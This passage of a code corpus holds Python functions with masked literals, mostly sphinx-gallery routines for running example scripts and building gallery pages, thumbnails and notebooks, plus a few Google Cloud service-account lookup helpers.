``str`` or ``list`` of ``dict``\n\n:param key_file: path on disk to keyfile, for use with all projects\n:type key_file: ``str``\n\n:returns: tuple containing a list of function output and an exceptions map\n:rtype: ``tuple of ``list``, ``dict``", "id": "f10870:m4"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def get_serviceaccount(client=None, **kwargs):", "body": "service_account=kwargs.pop('<STR_LIT>')<EOL>resp = client.projects().serviceAccounts().get(<EOL>name=service_account).execute()<EOL>return resp<EOL>", "docstring": "service_account='string'", "id": "f10871:m1"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def get_serviceaccount_keys(client=None, **kwargs):", "body": "service_account=kwargs.pop('<STR_LIT>')<EOL>kwargs['<STR_LIT:name>'] = service_account<EOL>return service_list(client.projects().serviceAccounts().keys(),<EOL>key_name='<STR_LIT>', **kwargs)<EOL>", "docstring": "service_account='string'", "id": "f10871:m2"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def get_iam_policy(client=None, **kwargs):", "body": "service_account=kwargs.pop('<STR_LIT>')<EOL>resp = client.projects().serviceAccounts().getIamPolicy(<EOL>resource=service_account).execute()<EOL>if '<STR_LIT>' in resp:<EOL><INDENT>return resp['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "service_account='string'", "id": "f10871:m3"}
{"signature": "def get_short_module_name(module_name, obj_name):", "body": "parts = module_name.split('<STR_LIT:.>')<EOL>short_name = module_name<EOL>for i in range(len(parts) - <NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>short_name = '<STR_LIT:.>'.join(parts[:i])<EOL>try:<EOL><INDENT>exec('<STR_LIT>' % (short_name, obj_name))<EOL><DEDENT>except ImportError:<EOL><INDENT>short_name = '<STR_LIT:.>'.join(parts[:(i + <NUM_LIT:1>)])<EOL>break<EOL><DEDENT><DEDENT>return short_name<EOL>", "docstring": "Get the shortest possible module name", "id": "f10905:m0"}
{"signature": "def identify_names(code):", "body": "finder = NameFinder()<EOL>finder.visit(ast.parse(code))<EOL>example_code_obj = {}<EOL>for name, full_name in finder.get_mapping():<EOL><INDENT>module, attribute = full_name.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>module_short = get_short_module_name(module, attribute)<EOL>cobj = {'<STR_LIT:name>': attribute, '<STR_LIT>': module,<EOL>'<STR_LIT>': module_short}<EOL>example_code_obj[name] = cobj<EOL><DEDENT>return example_code_obj<EOL>", "docstring": "Builds a codeobj summary by identifying and resolving used names\n\n    >>> code = '''\n    ... from a.b import c\n    ... import d as e\n    ... print(c)\n    ... e.HelloWorld().f.g\n    ... '''\n    >>> for name, o in sorted(identify_names(code).items()):\n    ...     print(name, o['name'], o['module'], o['module_short'])\n    c c a.b a.b\n    e.HelloWorld HelloWorld d d", "id": "f10905:m1"}
{"signature": "def scan_used_functions(example_file, gallery_conf):", "body": "example_code_obj = identify_names(open(example_file).read())<EOL>if example_code_obj:<EOL><INDENT>codeobj_fname = example_file[:-<NUM_LIT:3>] + '<STR_LIT>'<EOL>with open(codeobj_fname, '<STR_LIT:wb>') as fid:<EOL><INDENT>pickle.dump(example_code_obj, fid, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>backrefs = set('<STR_LIT>'.format(**entry)<EOL>for entry in example_code_obj.values()<EOL>if entry['<STR_LIT>'].startswith(gallery_conf['<STR_LIT>']))<EOL>return backrefs<EOL>", "docstring": "save variables so we can later add links to the documentation", "id": "f10905:m2"}
{"signature": "def _thumbnail_div(full_dir, fname, snippet, is_backref=False):", "body": "thumb = os.path.join(full_dir, '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>' % fname[:-<NUM_LIT:3>])<EOL>ref_name = os.path.join(full_dir, fname).replace(os.path.sep, '<STR_LIT:_>')<EOL>template = BACKREF_THUMBNAIL_TEMPLATE if is_backref else THUMBNAIL_TEMPLATE<EOL>return template.format(snippet=snippet, thumbnail=thumb, ref_name=ref_name)<EOL>", "docstring": "Generates RST to place a thumbnail in a gallery", "id": "f10905:m3"}
{"signature": "def write_backreferences(seen_backrefs, gallery_conf,<EOL>target_dir, fname, snippet):", "body": "example_file = os.path.join(target_dir, fname)<EOL>backrefs = scan_used_functions(example_file, gallery_conf)<EOL>for backref in backrefs:<EOL><INDENT>include_path = os.path.join(gallery_conf['<STR_LIT>'],<EOL>'<STR_LIT>' % backref)<EOL>seen = backref in seen_backrefs<EOL>with open(include_path, '<STR_LIT:a>' if seen else '<STR_LIT:w>') as ex_file:<EOL><INDENT>if not seen:<EOL><INDENT>heading = '<STR_LIT>' % backref<EOL>ex_file.write(heading + '<STR_LIT:\\n>')<EOL>ex_file.write('<STR_LIT>' * len(heading) + '<STR_LIT:\\n>')<EOL><DEDENT>ex_file.write(_thumbnail_div(target_dir, fname, snippet,<EOL>is_backref=True))<EOL>seen_backrefs.add(backref)<EOL><DEDENT><DEDENT>", "docstring": "Writes down back reference files, which include a thumbnail list\n    of examples using a certain module", "id": "f10905:m4"}
{"signature": "def get_docstring_and_rest(filename):", "body": "with open(filename) as f:<EOL><INDENT>content = f.read()<EOL><DEDENT>node = ast.parse(content)<EOL>if not isinstance(node, ast.Module):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(node.__class__.__name__))<EOL><DEDENT>if node.body and isinstance(node.body[<NUM_LIT:0>], ast.Expr) andisinstance(node.body[<NUM_LIT:0>].value, ast.Str):<EOL><INDENT>docstring_node = node.body[<NUM_LIT:0>]<EOL>docstring = docstring_node.value.s<EOL>rest = content.split('<STR_LIT:\\n>', docstring_node.lineno)[-<NUM_LIT:1>]<EOL>return docstring, rest<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>.format(filename))<EOL><DEDENT>", "docstring": "Separate `filename` content between docstring and the rest\n\n    Strongly inspired from ast.get_docstring.\n\n    Returns\n    -------\n    docstring: str\n        docstring of `filename`\n    rest: str\n        `filename` content without the docstring", "id": "f10906:m0"}
{"signature": "def split_code_and_text_blocks(source_file):", "body": "docstring, rest_of_content = get_docstring_and_rest(source_file)<EOL>blocks = [('<STR_LIT:text>', docstring)]<EOL>pattern = re.compile(<EOL>r'<STR_LIT>',<EOL>flags=re.M)<EOL>pos_so_far = <NUM_LIT:0><EOL>for match in re.finditer(pattern, rest_of_content):<EOL><INDENT>match_start_pos, match_end_pos = match.span()<EOL>code_block_content = rest_of_content[pos_so_far:match_start_pos]<EOL>text_content = match.group('<STR_LIT>')<EOL>sub_pat = re.compile('<STR_LIT>', flags=re.M)<EOL>text_block_content = dedent(re.sub(sub_pat, '<STR_LIT>', text_content))<EOL>if code_block_content.strip():<EOL><INDENT>blocks.append(('<STR_LIT:code>', code_block_content))<EOL><DEDENT>if text_block_content.strip():<EOL><INDENT>blocks.append(('<STR_LIT:text>', text_block_content))<EOL><DEDENT>pos_so_far = match_end_pos<EOL><DEDENT>remaining_content = rest_of_content[pos_so_far:]<EOL>if remaining_content.strip():<EOL><INDENT>blocks.append(('<STR_LIT:code>', remaining_content))<EOL><DEDENT>return blocks<EOL>", "docstring": "Return list with source file separated into code and text blocks.\n\n    Returns\n    -------\n    blocks : list of (label, content)\n        List where each element is a tuple with the label ('text' or 'code'),\n        and content string of block.", "id": "f10906:m1"}
{"signature": "def codestr2rst(codestr, lang='<STR_LIT>'):", "body": "code_directive = \"<STR_LIT>\".format(lang)<EOL>indented_block = indent(codestr, '<STR_LIT:U+0020>' * <NUM_LIT:4>)<EOL>return code_directive + indented_block<EOL>", "docstring": "Return reStructuredText code block from code string", "id": "f10906:m2"}
{"signature": "def text2string(content):", "body": "try:<EOL><INDENT>return ast.literal_eval(content) + '<STR_LIT:\\n>'<EOL><DEDENT>except Exception:<EOL><INDENT>return content<EOL><DEDENT>", "docstring": "Returns a string without the extra triple quotes", "id": "f10906:m3"}
{"signature": "def extract_intro(filename):", "body": "docstring, _ = get_docstring_and_rest(filename)<EOL>paragraphs = docstring.lstrip().split('<STR_LIT>')<EOL>if len(paragraphs) > <NUM_LIT:1>:<EOL><INDENT>first_paragraph = re.sub('<STR_LIT:\\n>', '<STR_LIT:U+0020>', paragraphs[<NUM_LIT:1>])<EOL>first_paragraph = (first_paragraph[:<NUM_LIT>] + '<STR_LIT>'<EOL>if len(first_paragraph) > <NUM_LIT> else first_paragraph)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(filename))<EOL><DEDENT>return first_paragraph<EOL>", "docstring": "Extract the first paragraph of module-level docstring. max:95 char", "id": "f10906:m4"}
{"signature": "def get_md5sum(src_file):", "body": "with open(src_file, '<STR_LIT:r>') as src_data:<EOL><INDENT>src_content = src_data.read()<EOL>if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3>:<EOL><INDENT>src_content = src_content.encode('<STR_LIT:utf-8>')<EOL><DEDENT>src_md5 = hashlib.md5(src_content).hexdigest()<EOL><DEDENT>return src_md5<EOL>", "docstring": "Returns md5sum of file", "id": "f10906:m5"}
{"signature": "def check_md5sum_change(src_file):", "body": "src_md5 = get_md5sum(src_file)<EOL>src_md5_file = src_file + '<STR_LIT>'<EOL>src_file_changed = True<EOL>if os.path.exists(src_md5_file):<EOL><INDENT>with open(src_md5_file, '<STR_LIT:r>') as file_checksum:<EOL><INDENT>ref_md5 = file_checksum.read()<EOL><DEDENT>if src_md5 == ref_md5:<EOL><INDENT>src_file_changed = False<EOL><DEDENT><DEDENT>if src_file_changed:<EOL><INDENT>with open(src_md5_file, '<STR_LIT:w>') as file_checksum:<EOL><INDENT>file_checksum.write(src_md5)<EOL><DEDENT><DEDENT>return src_file_changed<EOL>", "docstring": "Returns True if src_file has a different md5sum", "id": "f10906:m6"}
{"signature": "def _plots_are_current(src_file, image_file):", "body": "first_image_file = image_file.format(<NUM_LIT:1>)<EOL>has_image = os.path.exists(first_image_file)<EOL>src_file_changed = check_md5sum_change(src_file)<EOL>return has_image and not src_file_changed<EOL>", "docstring": "Test existence of image file and no change in md5sum of\n    example", "id": "f10906:m7"}
{"signature": "def save_figures(image_path, fig_count, gallery_conf):", "body": "figure_list = []<EOL>fig_managers = matplotlib._pylab_helpers.Gcf.get_all_fig_managers()<EOL>for fig_mngr in fig_managers:<EOL><INDENT>fig = plt.figure(fig_mngr.num)<EOL>kwargs = {}<EOL>to_rgba = matplotlib.colors.colorConverter.to_rgba<EOL>for attr in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>fig_attr = getattr(fig, '<STR_LIT>' + attr)()<EOL>default_attr = matplotlib.rcParams['<STR_LIT>' + attr]<EOL>if to_rgba(fig_attr) != to_rgba(default_attr):<EOL><INDENT>kwargs[attr] = fig_attr<EOL><DEDENT><DEDENT>current_fig = image_path.format(fig_count + fig_mngr.num)<EOL>fig.savefig(current_fig, **kwargs)<EOL>figure_list.append(current_fig)<EOL><DEDENT>if gallery_conf.get('<STR_LIT>', False):<EOL><INDENT>from mayavi import mlab<EOL>e = mlab.get_engine()<EOL>last_matplotlib_fig_num = len(figure_list)<EOL>total_fig_num = last_matplotlib_fig_num + len(e.scenes)<EOL>mayavi_fig_nums = range(last_matplotlib_fig_num, total_fig_num)<EOL>for scene, mayavi_fig_num in zip(e.scenes, mayavi_fig_nums):<EOL><INDENT>current_fig = image_path.format(mayavi_fig_num)<EOL>mlab.savefig(current_fig, figure=scene)<EOL>scale_image(current_fig, current_fig, <NUM_LIT>, <NUM_LIT>)<EOL>figure_list.append(current_fig)<EOL><DEDENT>mlab.close(all=True)<EOL><DEDENT>return figure_list<EOL>", "docstring": "Save all open matplotlib figures of the example code-block\n\n    Parameters\n    ----------\n    image_path : str\n        Path where plots are saved (format string which accepts figure number)\n    fig_count : int\n        Previous figure number count. Figure number add from this number\n\n    Returns\n    -------\n    list of strings containing the full path to each figure", "id": "f10906:m8"}
{"signature": "def scale_image(in_fname, out_fname, max_width, max_height):", "body": "<EOL>try:<EOL><INDENT>from PIL import Image<EOL><DEDENT>except ImportError:<EOL><INDENT>import Image<EOL><DEDENT>img = Image.open(in_fname)<EOL>width_in, height_in = img.size<EOL>scale_w = max_width / float(width_in)<EOL>scale_h = max_height / float(height_in)<EOL>if height_in * scale_w <= max_height:<EOL><INDENT>scale = scale_w<EOL><DEDENT>else:<EOL><INDENT>scale = scale_h<EOL><DEDENT>if scale >= <NUM_LIT:1.0> and in_fname == out_fname:<EOL><INDENT>return<EOL><DEDENT>width_sc = int(round(scale * width_in))<EOL>height_sc = int(round(scale * height_in))<EOL>img.thumbnail((width_sc, height_sc), Image.ANTIALIAS)<EOL>thumb = Image.new('<STR_LIT>', (max_width, max_height), (<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>))<EOL>pos_insert = ((max_width - width_sc) // <NUM_LIT:2>, (max_height - height_sc) // <NUM_LIT:2>)<EOL>thumb.paste(img, pos_insert)<EOL>thumb.save(out_fname)<EOL>if os.environ.get('<STR_LIT>', False):<EOL><INDENT>try:<EOL><INDENT>subprocess.call([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", out_fname])<EOL><DEDENT>except Exception:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Scales an image with the same aspect ratio centered in an\n       image with a given max_width and max_height\n       if in_fname == out_fname the image can only be scaled down", "id": "f10906:m9"}
{"signature": "def save_thumbnail(image_path, base_image_name, gallery_conf):", "body": "first_image_file = image_path.format(<NUM_LIT:1>)<EOL>thumb_dir = os.path.join(os.path.dirname(first_image_file), '<STR_LIT>')<EOL>if not os.path.exists(thumb_dir):<EOL><INDENT>os.makedirs(thumb_dir)<EOL><DEDENT>thumb_file = os.path.join(thumb_dir,<EOL>'<STR_LIT>' % base_image_name)<EOL>if os.path.exists(first_image_file):<EOL><INDENT>scale_image(first_image_file, thumb_file, <NUM_LIT>, <NUM_LIT>)<EOL><DEDENT>elif not os.path.exists(thumb_file):<EOL><INDENT>default_thumb_file = os.path.join(glr_path_static(), '<STR_LIT>')<EOL>default_thumb_file = gallery_conf.get(\"<STR_LIT>\",<EOL>default_thumb_file)<EOL>scale_image(default_thumb_file, thumb_file, <NUM_LIT:200>, <NUM_LIT>)<EOL><DEDENT>", "docstring": "Save the thumbnail image", "id": "f10906:m10"}
{"signature": "def generate_dir_rst(src_dir, target_dir, gallery_conf, seen_backrefs):", "body": "if not os.path.exists(os.path.join(src_dir, '<STR_LIT>')):<EOL><INDENT>print(<NUM_LIT> * '<STR_LIT:_>')<EOL>print('<STR_LIT>' %<EOL>src_dir)<EOL>print('<STR_LIT>')<EOL>print(<NUM_LIT> * '<STR_LIT:_>')<EOL>return \"<STR_LIT>\"  <EOL><DEDENT>fhindex = open(os.path.join(src_dir, '<STR_LIT>')).read()<EOL>if not os.path.exists(target_dir):<EOL><INDENT>os.makedirs(target_dir)<EOL><DEDENT>sorted_listdir = [fname for fname in sorted(os.listdir(src_dir))<EOL>if fname.endswith('<STR_LIT>')]<EOL>entries_text = []<EOL>for fname in sorted_listdir:<EOL><INDENT>amount_of_code = generate_file_rst(fname, target_dir, src_dir,<EOL>gallery_conf)<EOL>new_fname = os.path.join(src_dir, fname)<EOL>intro = extract_intro(new_fname)<EOL>write_backreferences(seen_backrefs, gallery_conf,<EOL>target_dir, fname, intro)<EOL>this_entry = _thumbnail_div(target_dir, fname, intro) + \"\"\"<STR_LIT>\"\"\" % (target_dir, fname[:-<NUM_LIT:3>])<EOL>entries_text.append((amount_of_code, this_entry))<EOL><DEDENT>entries_text.sort()<EOL>for _, entry_text in entries_text:<EOL><INDENT>fhindex += entry_text<EOL><DEDENT>fhindex += \"\"\"<STR_LIT>\"\"\"<EOL>return fhindex<EOL>", "docstring": "Generate the gallery reStructuredText for an example directory", "id": "f10906:m11"}
{"signature": "def execute_script(code_block, example_globals, image_path, fig_count,<EOL>src_file, gallery_conf):", "body": "time_elapsed = <NUM_LIT:0><EOL>stdout = '<STR_LIT>'<EOL>print('<STR_LIT>' % src_file)<EOL>plt.close('<STR_LIT:all>')<EOL>cwd = os.getcwd()<EOL>orig_stdout = sys.stdout<EOL>try:<EOL><INDENT>os.chdir(os.path.dirname(src_file))<EOL>my_buffer = StringIO()<EOL>my_stdout = Tee(sys.stdout, my_buffer)<EOL>sys.stdout = my_stdout<EOL>t_start = time()<EOL>exec(code_block, example_globals)<EOL>time_elapsed = time() - t_start<EOL>sys.stdout = orig_stdout<EOL>my_stdout = my_buffer.getvalue().strip().expandtabs()<EOL>if my_stdout:<EOL><INDENT>stdout = CODE_OUTPUT.format(indent(my_stdout, '<STR_LIT:U+0020>' * <NUM_LIT:4>))<EOL><DEDENT>os.chdir(cwd)<EOL>figure_list = save_figures(image_path, fig_count, gallery_conf)<EOL>image_list = \"<STR_LIT>\"<EOL>if len(figure_list) == <NUM_LIT:1>:<EOL><INDENT>figure_name = figure_list[<NUM_LIT:0>]<EOL>image_list = SINGLE_IMAGE % figure_name.lstrip('<STR_LIT:/>')<EOL><DEDENT>elif len(figure_list) > <NUM_LIT:1>:<EOL><INDENT>image_list = HLIST_HEADER<EOL>for figure_name in figure_list:<EOL><INDENT>image_list += HLIST_IMAGE_TEMPLATE % figure_name.lstrip('<STR_LIT:/>')<EOL><DEDENT><DEDENT><DEDENT>except Exception:<EOL><INDENT>formatted_exception = traceback.format_exc()<EOL>print(<NUM_LIT> * '<STR_LIT:_>')<EOL>print('<STR_LIT>' % src_file)<EOL>print(formatted_exception)<EOL>print(<NUM_LIT> * '<STR_LIT:_>')<EOL>figure_list = []<EOL>image_list = codestr2rst(formatted_exception, lang='<STR_LIT>')<EOL>broken_img = os.path.join(glr_path_static(), '<STR_LIT>')<EOL>shutil.copyfile(broken_img, os.path.join(cwd, image_path.format(<NUM_LIT:1>)))<EOL>fig_count += <NUM_LIT:1>  <EOL>if gallery_conf['<STR_LIT>']:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>os.chdir(cwd)<EOL>sys.stdout = orig_stdout<EOL><DEDENT>print(\"<STR_LIT>\" % time_elapsed)<EOL>code_output = \"<STR_LIT>\".format(image_list, stdout)<EOL>return code_output, time_elapsed, fig_count + len(figure_list)<EOL>", "docstring": "Executes the code block of the example file", "id": "f10906:m12"}
{"signature": "def generate_file_rst(fname, target_dir, src_dir, gallery_conf):", "body": "src_file = os.path.join(src_dir, fname)<EOL>example_file = os.path.join(target_dir, fname)<EOL>shutil.copyfile(src_file, example_file)<EOL>image_dir = os.path.join(target_dir, '<STR_LIT>')<EOL>if not os.path.exists(image_dir):<EOL><INDENT>os.makedirs(image_dir)<EOL><DEDENT>base_image_name = os.path.splitext(fname)[<NUM_LIT:0>]<EOL>image_fname = '<STR_LIT>' + base_image_name + '<STR_LIT>'<EOL>image_path = os.path.join(image_dir, image_fname)<EOL>script_blocks = split_code_and_text_blocks(example_file)<EOL>amount_of_code = sum([len(bcontent)<EOL>for blabel, bcontent in script_blocks<EOL>if blabel == '<STR_LIT:code>'])<EOL>if _plots_are_current(example_file, image_path):<EOL><INDENT>return amount_of_code<EOL><DEDENT>time_elapsed = <NUM_LIT:0><EOL>ref_fname = example_file.replace(os.path.sep, '<STR_LIT:_>')<EOL>example_rst = \"\"\"<STR_LIT>\"\"\".format(ref_fname)<EOL>example_nb = Notebook(fname, target_dir)<EOL>filename_pattern = gallery_conf.get('<STR_LIT>')<EOL>if re.search(filename_pattern, src_file) and gallery_conf['<STR_LIT>']:<EOL><INDENT>example_globals = {'<STR_LIT>': '<STR_LIT>'}<EOL>fig_count = <NUM_LIT:0><EOL>is_example_notebook_like = len(script_blocks) > <NUM_LIT:2><EOL>for blabel, bcontent in script_blocks:<EOL><INDENT>if blabel == '<STR_LIT:code>':<EOL><INDENT>code_output, rtime, fig_count = execute_script(bcontent,<EOL>example_globals,<EOL>image_path,<EOL>fig_count,<EOL>src_file,<EOL>gallery_conf)<EOL>time_elapsed += rtime<EOL>example_nb.add_code_cell(bcontent)<EOL>if is_example_notebook_like:<EOL><INDENT>example_rst += codestr2rst(bcontent) + '<STR_LIT:\\n>'<EOL>example_rst += code_output<EOL><DEDENT>else:<EOL><INDENT>example_rst += code_output<EOL>example_rst += codestr2rst(bcontent) + '<STR_LIT:\\n>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>example_rst += text2string(bcontent) + '<STR_LIT:\\n>'<EOL>example_nb.add_markdown_cell(text2string(bcontent))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for blabel, bcontent in script_blocks:<EOL><INDENT>if blabel == '<STR_LIT:code>':<EOL><INDENT>example_rst += codestr2rst(bcontent) + '<STR_LIT:\\n>'<EOL>example_nb.add_code_cell(bcontent)<EOL><DEDENT>else:<EOL><INDENT>example_rst += bcontent + '<STR_LIT:\\n>'<EOL>example_nb.add_markdown_cell(text2string(bcontent))<EOL><DEDENT><DEDENT><DEDENT>save_thumbnail(image_path, base_image_name, gallery_conf)<EOL>time_m, time_s = divmod(time_elapsed, <NUM_LIT>)<EOL>example_nb.save_file()<EOL>with open(os.path.join(target_dir, base_image_name + '<STR_LIT>'), '<STR_LIT:w>') as f:<EOL><INDENT>example_rst += CODE_DOWNLOAD.format(time_m, time_s, fname,<EOL>example_nb.file_name)<EOL>f.write(example_rst)<EOL><DEDENT>return amount_of_code<EOL>", "docstring": "Generate the rst file for a given example.\n\n        Returns the amout of code (in characters) of the corresponding\n        files.", "id": "f10906:m13"}
{"signature": "def glr_path_static():", "body": "return os.path.abspath(os.path.join(os.path.dirname(__file__), '<STR_LIT>'))<EOL>", "docstring": "Returns path to packaged static files", "id": "f10907:m0"}
{"signature": "def generate_gallery_rst(app):", "body": "try:<EOL><INDENT>plot_gallery = eval(app.builder.config.plot_gallery)<EOL><DEDENT>except TypeError:<EOL><INDENT>plot_gallery = bool(app.builder.config.plot_gallery)<EOL><DEDENT>gallery_conf.update(app.config.sphinx_gallery_conf)<EOL>gallery_conf.update(plot_gallery=plot_gallery)<EOL>gallery_conf.update(abort_on_example_error=app.builder.config.abort_on_example_error)<EOL>app.config.sphinx_gallery_conf = gallery_conf<EOL>app.config.html_static_path.append(glr_path_static())<EOL>clean_gallery_out(app.builder.outdir)<EOL>examples_dirs = gallery_conf['<STR_LIT>']<EOL>gallery_dirs = gallery_conf['<STR_LIT>']<EOL>if not isinstance(examples_dirs, list):<EOL><INDENT>examples_dirs = [examples_dirs]<EOL><DEDENT>if not isinstance(gallery_dirs, list):<EOL><INDENT>gallery_dirs = [gallery_dirs]<EOL><DEDENT>mod_examples_dir = os.path.relpath(gallery_conf['<STR_LIT>'],<EOL>app.builder.srcdir)<EOL>seen_backrefs = set()<EOL>for examples_dir, gallery_dir in zip(examples_dirs, gallery_dirs):<EOL><INDENT>examples_dir = os.path.relpath(examples_dir,<EOL>app.builder.srcdir)<EOL>gallery_dir = os.path.relpath(gallery_dir,<EOL>app.builder.srcdir)<EOL>for workdir in [examples_dir, gallery_dir, mod_examples_dir]:<EOL><INDENT>if not os.path.exists(workdir):<EOL><INDENT>os.makedirs(workdir)<EOL><DEDENT><DEDENT>fhindex = open(os.path.join(gallery_dir, '<STR_LIT>'), '<STR_LIT:w>')<EOL>fhindex.write(generate_dir_rst(examples_dir, gallery_dir, gallery_conf,<EOL>seen_backrefs))<EOL>for directory in sorted(os.listdir(examples_dir)):<EOL><INDENT>if os.path.isdir(os.path.join(examples_dir, directory)):<EOL><INDENT>src_dir = os.path.join(examples_dir, directory)<EOL>target_dir = os.path.join(gallery_dir, directory)<EOL>fhindex.write(generate_dir_rst(src_dir, target_dir,<EOL>gallery_conf,<EOL>seen_backrefs))<EOL><DEDENT><DEDENT>fhindex.flush()<EOL><DEDENT>", "docstring": "Generate the Main examples gallery reStructuredText\n\n    Start the sphinx-gallery configuration and recursively scan the examples\n    directories in order to populate the examples gallery", "id": "f10908:m1"}
{"signature": "def setup(app):", "body": "app.add_config_value('<STR_LIT>', True, '<STR_LIT:html>')<EOL>app.add_config_value('<STR_LIT>', False, '<STR_LIT:html>')<EOL>app.add_config_value('<STR_LIT>', gallery_conf, '<STR_LIT:html>')<EOL>app.add_stylesheet('<STR_LIT>')<EOL>app.connect('<STR_LIT>', generate_gallery_rst)<EOL>app.connect('<STR_LIT>', embed_code_links)<EOL>", "docstring": "Setup sphinx-gallery sphinx extension", "id": "f10908:m2"}
{"signature": "def ipy_notebook_skeleton():", "body": "py_version = sys.version_info<EOL>notebook_skeleton = {<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": \"<STR_LIT>\" + str(py_version[<NUM_LIT:0>]),<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\" + str(py_version[<NUM_LIT:0>])<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:version>\": py_version[<NUM_LIT:0>]<EOL>},<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\" + str(py_version[<NUM_LIT:0>]),<EOL>\"<STR_LIT:version>\": '<STR_LIT>'.format(*sys.version_info[:<NUM_LIT:3>])<EOL>}<EOL>},<EOL>\"<STR_LIT>\": <NUM_LIT:4>,<EOL>\"<STR_LIT>\": <NUM_LIT:0><EOL>}<EOL>return notebook_skeleton<EOL>", "docstring": "Returns a dictionary with the elements of a Jupyter notebook", "id": "f10909:m0"}
{"signature": "def rst2md(text):", "body": "top_heading = re.compile(r'<STR_LIT>', flags=re.M)<EOL>text = re.sub(top_heading, r'<STR_LIT>', text)<EOL>math_eq = re.compile(r'<STR_LIT>', flags=re.M)<EOL>text = re.sub(math_eq,<EOL>lambda match: r'<STR_LIT>'.format(match.group(<NUM_LIT:1>).strip()),<EOL>text)<EOL>inline_math = re.compile(r'<STR_LIT>')<EOL>text = re.sub(inline_math, r'<STR_LIT>', text)<EOL>return text<EOL>", "docstring": "Converts the RST text from the examples docstrigs and comments\n    into markdown text for the IPython notebooks", "id": "f10909:m1"}
{"signature": "def __init__(self, file_name, target_dir):", "body": "self.file_name = file_name.replace('<STR_LIT>', '<STR_LIT>')<EOL>self.write_file = os.path.join(target_dir, self.file_name)<EOL>self.work_notebook = ipy_notebook_skeleton()<EOL>self.add_code_cell(\"<STR_LIT>\")<EOL>", "docstring": "Declare the skeleton of the notebook\n\n        Parameters\n        ----------\n        file_name : str\n            original script file name, .py extension will be renamed\n        target_dir: str\n            directory where notebook file is to be saved", "id": "f10909:c0:m0"}
{"signature": "def add_code_cell(self, code):", "body": "code_cell = {<EOL>\"<STR_LIT>\": \"<STR_LIT:code>\",<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": False},<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT:source>\": [code.strip()]<EOL>}<EOL>self.work_notebook[\"<STR_LIT>\"].append(code_cell)<EOL>", "docstring": "Add a code cell to the notebook\n\n        Parameters\n        ----------\n        code : str\n            Cell content", "id": "f10909:c0:m1"}
{"signature": "def add_markdown_cell(self, text):", "body": "markdown_cell = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT:source>\": [rst2md(text)]<EOL>}<EOL>self.work_notebook[\"<STR_LIT>\"].append(markdown_cell)<EOL>", "docstring": "Add a markdown cell to the notebook\n\n        Parameters\n        ----------\n        code : str\n            Cell content", "id": "f10909:c0:m2"}
{"signature": "def save_file(self):", "body": "with open(self.write_file, '<STR_LIT:w>') as out_nb:<EOL><INDENT>json.dump(self.work_notebook, out_nb, indent=<NUM_LIT:2>)<EOL><DEDENT>", "docstring": "Saves the notebook to a file", "id": "f10909:c0:m3"}
{"signature": "def _get_data(url):", "body": "if url.startswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>resp = urllib.urlopen(url)<EOL>encoding = resp.headers.dict.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>resp = urllib.request.urlopen(url)<EOL>encoding = resp.headers.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>data = resp.read()<EOL>if encoding == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif encoding == '<STR_LIT>':<EOL><INDENT>data = StringIO(data)<EOL>data = gzip.GzipFile(fileobj=data).read()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(url, '<STR_LIT:r>') as fid:<EOL><INDENT>data = fid.read()<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Helper function to get data over http or from a local file", "id": "f10910:m0"}
